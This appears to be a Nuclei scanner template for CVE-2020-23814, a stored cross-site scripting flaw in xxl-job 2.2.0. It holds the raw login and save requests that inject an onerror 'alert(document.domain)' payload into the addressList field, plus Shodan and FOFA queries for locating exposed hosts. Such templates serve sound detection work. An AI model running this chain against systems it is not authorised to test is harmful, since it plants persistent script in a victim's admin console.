漏洞描述
Multiple cross-site scripting (XSS) vulnerabilities in xxl-job v2.2.0 allow remote attackers to inject arbitrary web script or HTML via (1) AppName and (2)AddressList parameter in JobGroupController.java file.
id: CVE-2020-23814
info:
name: XXL-JOB v2.2.0 — Stored Cross Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
Multiple cross-site scripting (XSS) vulnerabilities in xxl-job v2.2.0 allow remote attackers to inject arbitrary web script or HTML via (1) AppName and (2)AddressList parameter in JobGroupController.java file.
reference:
- https://github.com/xuxueli/xxl-job/issues/1866
- https://www.ccsq8.com/issues.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-23814
cwe-id: CWE-79
epss-score: 0.01905
epss-percentile: 0.82605
cpe: cpe:2.3:a:xuxueli:xxl-job:2.2.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: xuxueli
product: xxl-job
shodan-query:
- http.html:"/xxl-job-admin/static/favicon.ico"
- http.favicon.hash:"1691956220"
fofa-query:
- app="xxl-job"
- icon_hash=1691956220
tags: cve,cve2020,xxl-job,xss,authenticated
flow: http(1) && http(2) && http(3) && http(4)
variables:
username: "{{username}}"
password: "{{password}}"
title: "{{to_lower(rand_base(6))}}"
http:
- raw:
- |
POST /xxl-job-admin/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: {{RootURL}}
Referer: {{RootURL}}/xxl-job-admin/toLogin
X-Requested-With: XMLHttpRequest
userName={{username}}&password={{password}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "code":200)'
condition: and
internal: true
- raw:
- |
GET /xxl-job-admin/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<b>XXL-JOB</b> 2.2.0")'
condition: and
internal: true
- raw:
- |
POST /xxl-job-admin/jobgroup/save HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: {{RootURL}}
Referer: {{RootURL}}/xxl-job-admin/jobgroup
X-Requested-With: XMLHttpRequest
appname={{title}}&title={{title}}&addressType=1&addressList=<img src=# onerror=\"alert(document.domain)\" />
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "code":200)'
condition: and
internal: true
- raw:
- |
POST /xxl-job-admin/jobgroup/pageList HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: {{RootURL}}
Referer: {{RootURL}}/xxl-job-admin/jobgroup
X-Requested-With: XMLHttpRequest
start=0&length=100
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "{{title}}","alert(document.domain)")'
condition: and
# digest: 4a0a00473045022100b753205aa4d40dc4b644af13c21a48a6f43b2927350cb78bf5cb960e59f82fe80220374872bff5a2ccd3e85df90cb7bcb33e4a8b9b9529d7fb9d55cf2eaf07260c64:922c64590222798bb761d5b6d8e72950